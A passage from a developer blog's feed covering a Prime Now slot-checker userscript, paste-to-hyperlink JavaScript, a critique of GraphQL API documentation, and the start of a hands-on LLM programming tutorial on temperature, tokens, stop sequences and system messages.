bigRedBanner<span class="token punctuation">.</span><span class="token function">setAttribute</span><span class="token punctuation">(</span><span class="token string">'style'</span><span class="token punctuation">,</span> <span class="token string">'width:100%; background-color: red;text-align:center;padding-top: 15px; padding-bottom:20px; color: white; font-weight: bolder; font-size:33px;'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
bigRedBanner<span class="token punctuation">.</span>innerText <span class="token operator">=</span> <span class="token string">'🎉SLOT FOUND!🎉'</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span></code></pre>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/the-userscript-that-kept-me-fed/003.png">
<img src="https://code.mendhak.com/assets/images/the-userscript-that-kept-me-fed/003.png" alt="Prime Now Checkout with found slots" title="" loading="lazy" /></span>
<figcaption>Delivery slot found</figcaption>
</figure><p></p>
<h2 id="adding-some-noise" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/the-userscript-that-kept-me-fed/#adding-some-noise">Adding some noise</a></h2>
<p>There was still one problem though — I didn’t always have the tab visible, so I’d still miss the banner sometimes.</p>
<p>I needed a noisier notification, and I found the perfect clip to help me out.</p>
<audio controls="" preload="auto" src="https://code.mendhak.com/assets/images/the-userscript-that-kept-me-fed/whoop.mp3" autostart="false">
<p>Short clip of Zoidberg from Futurama saying "Whoop whoop whoop whoop!"</p>
</audio>
<p>This required a little more setup. I created the <code>audio</code> element, and set its source to the clip.</p>
<pre class="language-javascript"><code class="language-javascript"><span class="token keyword">var</span> slotFoundSound <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">createElement</span><span class="token punctuation">(</span><span class="token string">'audio'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
slotFoundSound<span class="token punctuation">.</span>src <span class="token operator">=</span> <span class="token string">'https://ia803000.us.archive.org/13/items/Zoidberg_Whoop/whoop.mp3'</span><span class="token punctuation">;</span>
slotFoundSound<span class="token punctuation">.</span>preload <span class="token operator">=</span> <span class="token string">'auto'</span><span class="token punctuation">;</span></code></pre>
<p>In Firefox’s settings, I had to add an exception for the Prime Now site to allow autoplay.</p>
<p>Finally, when a slot was found, I’d play the sound.</p>
<pre class="language-javascript"><code class="language-javascript"><span class="token keyword">else</span> <span class="token punctuation">{</span>
slotFoundSound<span class="token punctuation">.</span><span class="token function">play</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
bigRedBanner<span class="token punctuation">.</span><span class="token function">setAttribute</span><span class="token punctuation">(</span><span class="token string">'style'</span><span class="token punctuation">,</span> <span class="token string">'width:100%; background-color: red;text-align:center;padding-top: 15px; padding-bottom:20px; color: white; font-weight: bolder; font-size:33px;'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
bigRedBanner<span class="token punctuation">.</span>innerText <span class="token operator">=</span> <span class="token string">'🎉SLOT FOUND!🎉'</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span></code></pre>
<h3 id="this-is-fine" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/the-userscript-that-kept-me-fed/#this-is-fine">This is fine</a></h3>
<p>Like all the best solutions, it was inelegant and worked just fine. I made regular use of the script for several months and it greatly helped my peace of mind.</p>
<p>There were a few incidents where the sound played (very loudly) while I was in the middle of a meeting, but I’d pretend not to have heard it. In retrospect, I don’t think I was fooling anyone.</p>
<p>The script is in <a href="https://github.com/mendhak/Prime-Now-Checker/blob/master/primenowchecker.user.js">this Github repo</a>.</p>
Automatically hyperlinking the selected text when pasting a URL2024-01-09T00:00:00Zhttps://code.mendhak.com/automatic-hyperlink-selected-text-on-paste/<p>A really nice quality of life feature I’ve noticed in some applications is the ability to automatically hyperlink some selected text when pasting a URL over it. To be clear this isn’t about automatically converting URLs in text into hyperlinks, rather when you have some text selected and you paste a URL over it, the text becomes a hyperlink to the URL just pasted.</p>
<p>Here it is in action. Try selecting some text, then copy a URL, and paste it over the selected text.</p>
<p class="codepen" data-height="300" data-default-tab="result" data-slug-hash="VwRjVQd" data-user="mendhak" style="height: 300px; box-sizing: border-box; display: flex; align-items: center; justify-content: center; border: 2px solid; margin: 1em 0; padding: 1em;">
<span>See the Pen <a href="https://codepen.io/mendhak/pen/VwRjVQd">
Create hyperlink when pasted over selected text</a> by mendhak (<a href="https://codepen.io/mendhak">@mendhak</a>)
on <a href="https://codepen.io/">CodePen</a>.</span>
</p>
<script async="" src="https://cpwebassets.codepen.io/assets/embed/ei.js"></script>
<p>This is a feature that I’ve seen in only a few applications: Slack, Notion, Confluence, Github, and the WordPress editor. It’s a small thing, it feels so natural, and it’s a nice touch that saves on clicks and keystrokes. It’s not present in VSCode natively, but is possible through the <a href="https://marketplace.visualstudio.com/items?itemName=yzhang.markdown-all-in-one">Markdown All In One extension</a>.</p>
<p>Aside from those places, it’s sadly not a common feature; I find myself trying it out in various other applications and missing it. Having to highlight text and click an additional button or press a shortcut is now a small but noticeable friction.</p>
<p>The implementation is actually quite simple. In the paste event, inspect the clipboard data. Check if it’s a URL, and if it is, surround the selected text with an anchor tag.</p>
<pre class="language-javascript"><code class="language-javascript">document<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">'div'</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"paste"</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token parameter">event</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span>
<span class="token keyword">if</span><span class="token punctuation">(</span>window<span class="token punctuation">.</span><span class="token function">getSelection</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">{</span>
<span class="token keyword">let</span> paste <span class="token operator">=</span> <span class="token punctuation">(</span>event<span class="token punctuation">.</span>clipboardData <span class="token operator">||</span> window<span class="token punctuation">.</span>clipboardData<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">getData</span><span class="token punctuation">(</span><span class="token string">"text"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">if</span><span class="token punctuation">(</span><span class="token function">isValidHttpUrl</span><span class="token punctuation">(</span>paste<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">{</span>
event<span class="token punctuation">.</span><span class="token function">preventDefault</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">var</span> a <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">createElement</span><span class="token punctuation">(</span><span class="token string">'a'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
a<span class="token punctuation">.</span>href <span class="token operator">=</span> paste<span class="token punctuation">;</span>
a<span class="token punctuation">.</span>title <span class="token operator">=</span> paste<span class="token punctuation">;</span>
window<span class="token punctuation">.</span><span class="token function">getSelection</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">getRangeAt</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">surroundContents</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token punctuation">}</span>
<span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre>
<p>The <a href="https://stackoverflow.com/questions/5717093/check-if-a-javascript-string-is-a-url"><code>isValidHttpUrl</code> function</a> can be as simple or as crude as you’d like.<br />
The <code>event.preventDefault()</code> is to let the browser know we’ll be handling the paste event for the special case of URLs.</p>
<p>It would be great if this became more commonly seen in more applications, and I hope this post helps someone implement it.</p>
GraphQL's poor developer experience2023-12-20T00:00:00Zhttps://code.mendhak.com/graphql-poor-developer-experience/<p>GraphQL’s touted advantages are numerous, including data retrieval efficiency, and flexibility that it can enable. <a href="https://www.apollographql.com/docs/intro/benefits/">The Apollo GraphQL page</a> even calls its developer experience its greatest benefit, but this is only true from the API owner’s perspective, not the API consumer’s. That might explain why it sells so well to API development teams in organisations; their local experience gives them the assumption that their own experience will mirror the consumer’s.</p>
<p>Of course this is not true, GraphQL APIs are a poor user experience, especially the first time user experience. The documentation is often dense and hard to follow, and this is best illustrated through some real life examples such as the <a href="https://docs.github.com/en/graphql">Github GraphQL API</a> and the <a href="https://docs.gitlab.com/ee/api/graphql/">Gitlab GraphQL API</a>. Both have to introduce help documentation on how to understand GraphQL itself, and the user is immediately hit with jargon and terminology that they must adopt, as well as recommended tooling and libraries that the user should look at right away as the way of getting familiar with their API.</p>
<p>But that isn’t enough, working through the reference documentation is another chore, and the user is given a list of unintuitively named objects to sift through to figure out how to accomplish their goal. Have a look at the object names in these screenshots.</p>
<figure>
<span class="lightbox-image" data-src="/assets/images/graphql-poor-developer-experience/001.png"><img src="https://code.mendhak.com/assets/images/graphql-poor-developer-experience/001.png" alt="GraphQL API resources documentation on Gitlab" title="" loading="lazy" data-caption="Gitlab GraphQL" style="width: calc(50% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/graphql-poor-developer-experience/002.png"><img src="https://code.mendhak.com/assets/images/graphql-poor-developer-experience/002.png" alt="Github 'mutations' documentation" title="" loading="lazy" data-caption="Github GraphQL" style="width: calc(50% - 0.5em);" /></span>
<figcaption>GraphQL API documentation is dense and jargon-filled</figcaption></figure>
<p>These are completely unhelpful to a new user, and appear to be more like leaky abstractions of internal implementation details. Few of the actual objects come with a decent explanation and many just refer to other parts of the equally sparse documentation. The Github documentation’s usage of the word ‘mutation’ feels particularly elitist and academic, and is a barrier to entry for the uninitiated. This isn’t specific to these two examples, it’s a common pattern across many GraphQL APIs.</p>
<p>Contrast this with their REST APIs, from the same organisations, in these screenshots.</p>
<figure>
<span class="lightbox-image" data-src="/assets/images/graphql-poor-developer-experience/003.png"><img src="https://code.mendhak.com/assets/images/graphql-poor-developer-experience/003.png" alt="Branches API documentation on Gitlab" title="" loading="lazy" data-caption="Gitlab REST" style="width: calc(50% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/graphql-poor-developer-experience/004.png"><img src="https://code.mendhak.com/assets/images/graphql-poor-developer-experience/004.png" alt="Branches API documentation on Github" title="" loading="lazy" data-caption="Github REST" style="width: calc(50% - 0.5em);" /></span>
<figcaption>REST documentation is simple and straightforward</figcaption></figure>
<p>Notice the endpoints named in a human readable way, the documented requests and responses with examples, and simple curl commands to try out the endpoint with. The biggest advantage here is the ability to get started with the API right away, without having to install any libraries or tools or get familiar with academic terminology. This is low friction onboarding and invaluable to the first time user experience.</p>
<p>It does make sense to offer GraphQL APIs to in-house teams, as any lack of documentation quality is offset by ready communication channels and oral tradition. But offering it to third party developers shifts a great deal of cognitive burden onto them, and indeed this has been my unpleasant experience working with various GraphQL APIs. There’s more reading to do, more terrible GraphQL explorers to learn to use, and more client side libraries that become necessary to adopt to achieve any semblance of integration. The GraphQL landscape exemplifies the opposite of <a href="https://en.wikipedia.org/wiki/Don%27t_Make_Me_Think">Don’t Make Me Think</a>.</p>
<h2 id="what-is-the-motivation" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/graphql-poor-developer-experience/#what-is-the-motivation">What is the motivation?</a></h2>
<p>Still, I wanted to try and understand the motivation these companies had behind the shift to GraphQL as an offering to third party developers; many are large companies with a lot of talented people, and they must have some good reasons. Sadly I could not find much except for a few blog posts that parroted each other with the same talking points. Most testimonials about GraphQL are from producers which greatly skews perceptions.</p>
<p>I did however find a good attempt at an explanation from Github’s own launch blog post, introducing <a href="https://github.blog/2016-09-14-the-github-graphql-api/">The GitHub GraphQL API</a>. They’re trying to solve two problems. The first is addressing scalability, to address unwieldy APIs with bloat. The second one is more telling:</p>
<blockquote>
<p>We wanted to be smarter about how our resources were paginated. We wanted assurances of type-safety for user-supplied parameters. We wanted to generate documentation from our code. We wanted to generate clients instead of manually supplying patches to our Octokit suite.<br />
…<br />
And then we learned about GraphQL.</p>
</blockquote>
<p>What miraculous serendipity that these just happen to be the precise areas that GraphQL aims to tackle. Someone more cynical, like myself, might say they had already decided to use GraphQL and were looking for ways to justify it.</p>
<p>At the time of ‘selling’ GraphQL to the rest of the organisation, it’s the points around scalability and efficiency in the <em>creation process</em> that would have made it compelling to the decision makers — user experience would have been a secondary concern. If it was a topic at all, it would have been handwaved away at best with the parroted “great developer experience” with nods around the room.</p>
<p>That would explain the state of the documentation. It’s generated from their code, but as is clear, <a href="https://www.ericholscher.com/blog/2017/jan/27/code-is-self-documenting/">self documenting code is a myth</a> perpetuated by people who don’t want to write documentation.</p>
<p>Looking at the blog post I could not find how this improved things for end users. The only sentence fragment that actually addresses developer experience is here:</p>
<blockquote>
<p>we heard from integrators that our REST API also wasn’t very flexible</p>
</blockquote>
<p>All of them, or was this a selected set of voices? Do they hear feedback about GraphQL not being simple, or does that get ignored?</p>
<h2 id="other-notes" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/graphql-poor-developer-experience/#other-notes">Other notes</a></h2>
<p>I did find one good example of a GraphQL API offering, and that was Shopify’s. The object names, though still somewhat leaky, are better named and organized, and they <a href="https://shopify.dev/docs/api/admin-graphql/2023-10/queries/app">come with examples</a> as well as curl commands. If I had to guess, what Shopify have probably done which others haven’t, is think about the functionality they’re trying to enable, and design around that.</p>
<p>I had mistakenly thought that <a href="https://learn.microsoft.com/en-us/graph/overview">Microsoft’s Graph API</a> was great exception to my observations, as an example of what a good GraphQL offering could look like. But it turns out they’ve gone for a hybrid approach - it’s a REST offering, with graph like querying capabilities. This is a good compromise, and potentially the best of both worlds.</p>
<p>Overall GraphQL has left a sour taste for me as an end-user. What promised to be a great new developer experience, with good reasons, has turned out to be a poor one through our industry’s continuing lack of empathy and care for the end user.</p>
<p>Although the GraphQL intentions seem to be in the right place, it suffers from a shade of overhype endemic to our industry. I think there ought to be some effort from the forces driving GraphQL promotion to address user experience, especially documentation. Acknowledging that the onus of user experience is on the API producer would go a long way towards promoting and improving upon their <a href="https://graphql.org/learn/best-practices/">best practices</a>.</p>
<p>Until then it feels that the GraphQL community is so busy patting itself on the back for solving specific problems of API producers, that it has forgotten about the end user.</p>
Hands on introduction to LLM programming for developers2023-11-19T00:00:00Zhttps://code.mendhak.com/hands-on-llm-tutorial/<div class="notice warning">
<p>Due to the rapidly changing nature of LLM programming, this tutorial is likely to be outdated. I’ll still leave it up as it can be skimmed for general concept and ideas, which serve as a useful learning exercise.</p>
<p>The specific libraries, platforms, and techniques will probably have changed.<br /></p>
</div>
<p>In this post I will go over an approach to getting developers familiar with, and write code against LLMs. The aim is to get developers comfortable interacting and programming with LLMs. It is only a starting point; it’s not meant to be in depth in any way, nor will it cover the inner workings of LLMs or how to make your own.</p>
<p>For this tutorial you will need access to a commercial off-the-shelf LLM service, such as <a href="https://platform.openai.com/playground">OpenAI Playground</a>, <a href="https://oai.azure.com/portal/">Azure OpenAI</a>, or <a href="https://us-east-1.console.aws.amazon.com/bedrock/home?region=us-east-1#/text-playground/amazon.titan-text-express-v1">Amazon Bedrock</a>; in my examples I will be referencing OpenAI’s playground but the others will have similar functionality to follow along.</p>
<p>You’ll also need a Python notebook, which can be a service like <a href="https://colab.research.google.com/">Google Colab</a>, <a href="https://www.paperspace.com/">Paperspace Gradient</a>, or <a href="https://code.visualstudio.com/docs/datascience/jupyter-notebooks">locally in VSCode</a> afresh, or in <a href="https://github.com/mendhak/notebook-llm-hands-on-tutorial/">my sample notebook</a>.</p>
<p>I’ll first start with some direct LLM interactions, as these help to provide a base understanding of what’s happening behind the scenes. From there we’ll build up to the actual programmatic interaction in Python.</p>
<div class="notice info">
The cost in running through the steps of this tutorial shouldn’t be too high; writing this tutorial and practicing excessively cost me about $0.05, and should be lower for you.
</div>
<h2 id="clarifying-some-terms" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/hands-on-llm-tutorial/#clarifying-some-terms">Clarifying some terms</a></h2>
<p>It helps to be familiar with some of the words that are used in this area. Some are pure marketing, and some have specific meanings.</p>
<p><strong>AI</strong> is supposed to be the branch of computer science aiming to enable machines to perform intelligent tasks. It has now been coopted by mainstream media and is additionally employed as a marketing buzzword. It is used to describe any sufficiently advanced technology that wows people, which they don’t understand. As an example, text to speech conversion (dictation) was referred to as AI when it first came out decades ago, but is now a commonplace aspect of many application interfaces.</p>
<p><strong>Machine Learning</strong> is a subset of AI (the field) that focuses on the development of algorithms and models to enable the performance of specific tasks, like predicting the weather, or identifying a dog breed from a photograph. It is a well established and mature field.</p>
<p><strong>Large Language Models</strong>, or LLMs, are a specific type of model that have been trained on a large amount of text data, to understand and generate natural language as an output. LLMs have been gaining a lot of media and business attention in the past few years. Well known LLMs are GPT by OpenAI, Claude by Anthropic, and LLaMa by Meta.</p>
<p><strong>Image generation models</strong>, are also gaining attention, these can generate an image based on a text description, in various styles and degrees of realism. The most well known systems here are Dall-E, MidJourney and Stable Diffusion.</p>
<p>In the same vein, there are models for music generation, video generation, and speech. The collective term for these content creation models is <strong>Generative AI</strong>, often shortened to GenAI.</p>
<p>Of the many types, LLMs get a lot of attention from businesses, research, and hobbyists, because they are very easy to work with. It’s simply text input and output, and there are a lot of techniques emerging to optimize working with them.</p>
<div class="notice info">
As with any field, there are nuances in many of the concepts involved, but those will conveniently be hand-waved away for the sake of getting started.<br />
</div>
<h2 id="text-completion-and-temperature" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/hands-on-llm-tutorial/#text-completion-and-temperature">Text completion and temperature</a></h2>
<p>In the LLM playground, switch to the completions tab. Completions is as close as it gets to the raw interface of an LLM, it only needs some text and some additional parameters.</p>
<p>Give it any sentence fragment to begin with, like</p>
<pre><code>Once upon a time,
</code></pre>
<p>and let it generate text. It might appear a little nonsensical, but the LLM simply produces what it thinks should come next after the given fragment.</p>
<p>Try a few more fragments, which can be quite revealing.</p>
<pre><code>The following is a C# function to reverse a string:
</code></pre>
<p>See how it produces the C# function asked for, but carries on producing output (such as how to use the function, or the same function in other languages), until it reaches the maximum length. The takeaway here is that an LLM is not a chatbot out of the box. Think of an LLM as a very good autocomplete tool, for some given input text it has a decent idea of what should come next. It’s up to us to shape the LLM to get it to produce <em>useful</em> output.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/hands-on-llm-tutorial/010.png">
<img src="https://code.mendhak.com/assets/images/hands-on-llm-tutorial/010.png" alt="C# function and then some" loading="lazy" /></span>
<figcaption>C# function and then some</figcaption>
</figure><p></p>
<p>Try adjusting the temperature slider now, and see how it affects the output. Try the following prompt at temperature = 0 and then at temperature = 1.</p>
<pre><code>The sky is blue, and
</code></pre>
<p><strong>Temperature</strong> influences the randomness of the model’s output; at higher temperatures the generated text is more creative, and at lower temperatures it’s more focused. When programming against LLMs, using low temperatures is better if a more deterministic, repeatable output is needed.</p>
<figure>
<span class="lightbox-image" data-src="/assets/images/hands-on-llm-tutorial/005.png"><img src="https://code.mendhak.com/assets/images/hands-on-llm-tutorial/005.png" alt="Completing text" loading="lazy" data-caption="Completing text" style="width: calc(33% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/hands-on-llm-tutorial/006a.png"><img src="https://code.mendhak.com/assets/images/hands-on-llm-tutorial/006a.png" alt="Temperature = 1, more creativity" loading="lazy" data-caption="Temperature = 1, more creativity" style="width: calc(33% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/hands-on-llm-tutorial/006b.png"><img src="https://code.mendhak.com/assets/images/hands-on-llm-tutorial/006b.png" alt="Temperature = 0, tighter description" loading="lazy" data-caption="Temperature = 0, tighter description" style="width: calc(33% - 0.5em);" /></span>
<figcaption></figcaption></figure>
<h3 id="tokens-and-context" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/hands-on-llm-tutorial/#tokens-and-context">Tokens and context</a></h3>
<p><strong>Tokens</strong> are mentioned frequently in LLM interfaces, conversations, as well as pricing.</p>
<p>Tokens are the units of text that the models understand. They are sometimes full words, and sometimes parts of words or punctuation. The best way to see for yourself is to try the <a href="https://platform.openai.com/tokenizer">OpenAI Tokenizer</a> and try the example.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/hands-on-llm-tutorial/008.png">
<img src="https://code.mendhak.com/assets/images/hands-on-llm-tutorial/008.png" alt="Token example" loading="lazy" /></span>
<figcaption>Token example</figcaption>
</figure><p></p>
<p>Notice that some words get split up, some characters that often appear together are grouped up, and some punctuation marks get their own token. There is no exact conversion between tokens and words but the most common idea is to consider on average 4 to 5 characters as be a token.</p>
<p>LLMs come with a maximum <strong>token context</strong> or context window. Think of it as the number of tokens that the LLM can deal with while still (kind of) being effective at its predictions. The token context includes the input prompt, the output from the model, and any other role-setting or historic text that has been included. LLMs come with a limited token context depending on the model.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/hands-on-llm-tutorial/009.png">
<img src="https://code.mendhak.com/assets/images/hands-on-llm-tutorial/009.png" alt="Token Context" loading="lazy" /></span>
<figcaption>Token Context</figcaption>
</figure><p></p>
<p>Some well known LLMs and their limits:</p>
<ul>
<li>GPT 3.5: 16k tokens</li>
<li>GPT 4: 32k tokens</li>
<li>GPT 4 Turbo: 128k tokens</li>
<li>Claude v2: 100k tokens</li>
<li>LLaMa2: 4k tokens</li>
</ul>
<p>It’s tempting to think that the 100k+ LLMs are the best for being able to handle so much at once, but it’s not a numbers game. In practice, LLMs start to lose attention when it has to deal with too much input, it ‘forgets’ what the important parts of the initial input were, and results in poor or distracted output.</p>
<h2 id="chatbots-are-just-completion-with-stop-sequences" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/hands-on-llm-tutorial/#chatbots-are-just-completion-with-stop-sequences">Chatbots are just completion with stop sequences</a></h2>
<p>While still in the Text Completion playground, switch to another model such as <code>davinci-002</code>. Since it isn’t made for Q&A type tasks, it is better for illustrating the next concept.</p>
<p>Begin with a conversational type input like this:</p>
<pre><code>Alice: Hi how are you?
Assistant:
</code></pre>
<p>and hit generate. In many cases, the text completion produces an output for the Assistant, but carries on the conversation for Alice as well. This is the same principle as before, essentially, producing what a chat transcript could look like between these two characters.</p>
<p>Now add a <strong>Stop sequence</strong> to the parameters in the completion interface. Add <code>Alice:</code> then repeat the above exercise. After each response it will stop instead of producing the next <code>Alice:</code>. Carry on the conversation by having Alice ask another question, and then end each new input with <code>Assistant:</code>, to let the assistant fill its part in.</p>
<pre><code>Alice: Is everything alright with my account?
Assistant:
</code></pre>
<figure>
<span class="lightbox-image" data-src="/assets/images/hands-on-llm-tutorial/011a.png"><img src="https://code.mendhak.com/assets/images/hands-on-llm-tutorial/011a.png" alt="Without stop sequences" loading="lazy" data-caption="Without stop sequences" style="width: calc(50% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/hands-on-llm-tutorial/011b.png"><img src="https://code.mendhak.com/assets/images/hands-on-llm-tutorial/011b.png" alt="With stop sequences" loading="lazy" data-caption="With stop sequences" style="width: calc(50% - 0.5em);" /></span>
<figcaption></figcaption></figure>
<p>That’s a rudimentary chatbot. Each time we hit generate, the previous conversations (the history) are being sent, along with the latest input. The model produces an output until it hits the stop sequence.</p>
<div class="notice info">
OpenAI’s Playground as well as Amazon Bedrock’s interface make this exercise a bit difficult by seemingly forcing the stop sequence tokens rather than letting the model continue producing output.
</div>
<h2 id="using-a-chat-interface" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/hands-on-llm-tutorial/#using-a-chat-interface">Using a chat interface</a></h2>
<p>Switch to the Chat playground. From what we’ve learned so far, it should now be a little more obvious how the chat based interface is working behind the scenes. The chat interface is the one most people will be familiar with, through the well known examples of ChatGPT and Claude. It is also the interface that most LLM programming is written for, as it is tuned for Q&A type work.</p>
<h3 id="chat-with-history" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/hands-on-llm-tutorial/#chat-with-history">Chat with history</a></h3>
<p>Try a simple exercise. Ask it for a joke, and then ask for an explanation.</p>
<pre><code>Tell me a joke
</code></pre>
<pre><code>Explain please?
</code></pre>
<p>The chat interface retains history, so the previous question and answer are included in the input when the explanation was requested. This history retaining feature is a useful and natural part of chatbots, but do keep in mind that it uses up some of the context window.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/hands-on-llm-tutorial/012.png">
<img src="https://code.mendhak.com/assets/images/hands-on-llm-tutorial/012.png" alt="Chat with context" loading="lazy" /></span>
<figcaption>Chat with context</figcaption>
</figure><p></p>
<h3 id="summarizing-news" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/hands-on-llm-tutorial/#summarizing-news">Summarizing news</a></h3>
<p>A common task with LLMs is to ask it to summarize something. Grab a news article from anywhere, and copy its contents. Ask the chatbot to summarize the news article. The models are pretty good at sifting through irrelevant bits in between too.</p>
<pre><code>Summarize the following news article:
<paste the news article here>
</code></pre>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/hands-on-llm-tutorial/013.png">
<img src="https://code.mendhak.com/assets/images/hands-on-llm-tutorial/013.png" alt="Summarize news, it is good at ignoring irrelevant bits too" loading="lazy" /></span>
<figcaption>Summarize news, it is good at ignoring irrelevant bits too</figcaption>
</figure><p></p>
<h3 id="answering-questions" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/hands-on-llm-tutorial/#answering-questions">Answering questions</a></h3>
<p>You can also ask the LLM to answer a question for a given text. Grab the contents of <a href="https://www.universetoday.com/164299/an-asteroid-will-occult-betelgeuse-on-december-12th/">this article about an asteroid</a>, and ask it a question about where the best locations would be to view it.</p>
<pre><code>Given the following news article, answer the question that follows.
Article: <paste the news article here>
Question: What are the best locations to see the asteroid?
</code></pre>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/hands-on-llm-tutorial/014.png">
<img src="https://code.mendhak.com/assets/images/hands-on-llm-tutorial/014.png" alt="Answering a question from the news body" loading="lazy" /></span>
<figcaption>Answering a question from the news body</figcaption>
</figure><p></p>
<h2 id="context-and-reasoning-with-a-chatbot" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/hands-on-llm-tutorial/#context-and-reasoning-with-a-chatbot">Context and reasoning with a chatbot</a></h2>
<p>Remember that chatbots work with a context, and based on the additional hints and information that it is given, it can generate text to fit that scenario.</p>
<p>Try the following input with the chat interface.</p>
<pre><code>Complete the sentence. She saw the bat ___
</code></pre>
<p>The output I got was alluding to the mammal: <code>flying through the night sky.</code></p>
<p>Clear the chat then try this.</p>
<pre><code>Complete the sentence. She went to the game and saw the bat ___
</code></pre>
<p>This gave me a completion about a bat of the wooden variety: <code>She went to the game and saw the bat hitting home runs.</code></p>
<p>The ability to understand an input and respond, with some given context, makes LLMs appear as though they can be used for reasoning. This is considered an emergent property of its language skills, and at times, it is able to do a decent job.</p>
<p>You can ask the chat interface to emulate reasoning by adding a “Let’s think step by step” at the end of a question.</p>
<pre><code>Who is regarded as the greatest physicist of all time, and what is the square root of their year or birth? Let's think step by step.
</code></pre>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/hands-on-llm-tutorial/015a.png">
<img src="https://code.mendhak.com/assets/images/hands-on-llm-tutorial/015a.png" alt="Reasoning example" loading="lazy" /></span>
<figcaption>Reasoning example</figcaption>
</figure><p></p>
<p>This doesn’t always work well though. With the following example from <a href="https://benchmarks.llmonitor.com/">LLMBenchmarks</a>,</p>
<pre><code>Sally (a girl) has 3 brothers. Each brother has 2 sisters. How many sisters does Sally have? Let's think step by step.
</code></pre>
<p>I was reliably informed that Sally had six sisters.</p>
<p>As amusing as the answer is, it’s a contrived example of the dangers that LLMs come with. It has produced a reasonable looking passage of text that <em>seems</em> to answer the question, but it can be wrong, and it’s really on us to verify it.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/hands-on-llm-tutorial/015b.png">
<img src="https://code.mendhak.com/assets/images/hands-on-llm-tutorial/015b.png" alt="Not so great reasoning example" loading="lazy" /></span>
<figcaption>Not so great reasoning example</figcaption>
</figure><p></p>
<h2 id="shaping-the-response" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/hands-on-llm-tutorial/#shaping-the-response">Shaping the response</a></h2>
<p>So far I’ve only been showing basic interaction with LLMs. For programmatic interactions, it’s important to get the LLM to produce an output that can be worked with in code. It is most common to ask it to output a single word, or something structured like JSON or XML.</p>
<p>Let’s make the chatbot help with chemistry related questions. We want it to tell us the atomic number of a given element that the user mentions.</p>
<p>Clear the chat and set the temperature to 0. Start by asking it to produce only the atomic number, and then follow up with some more element names.</p>
<pre><code>What is the atomic number of Oxygen? Respond only with the atomic number.
</code></pre>
<pre><code>What about Nitrogen?
</code></pre>
<pre><code>Tell me about Helium
</code></pre>
<p>The LLM can get distracted quite easily and go back to its chatty mode, which isn’t great for programmatic interaction.</p>
<h3 id="system-messages" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/hands-on-llm-tutorial/#system-messages">System Messages</a></h3>
<p>A good way to deal with this is to give it a ‘role’ to play, known as the <strong>system message</strong>. This message gets added right at the beginning of the input to the LLM, which sets the context for the rest of the conversation.</p>
<p>Clear the chat messages, then in the System prompt area, add the following:</p>
<pre><code>You are a helpful assistant with a vast knowledge of chemistry. When the user asks about an element, respond with only the atomic number of the element. Do not include additional information.
</code></pre>
<p>Try the same questions as before, and the responses should be more consistent this time.</p>
<figure>
<span class="lightbox-image" data-src="/assets/images/hands-on-llm-tutorial/016a.png"><img src="https://code.mendhak.com/assets/images/hands-on-llm-tutorial/016a.png" alt="Just chat mode" loading="lazy" data-caption="Just chat mode" style="width: calc(50% - 0.5em);" /></span>
<span class="lightbox-image" data-src="/assets/images/hands-on-llm-tutorial/016b.png"><img src="https://code.mendhak.com/assets/images/hands-on-llm-tutorial/016b.png" alt="With system message" loading="lazy" data-caption="With system message" style="width: calc(50% - 0.5em);" /></span>
<figcaption></figcaption></figure>
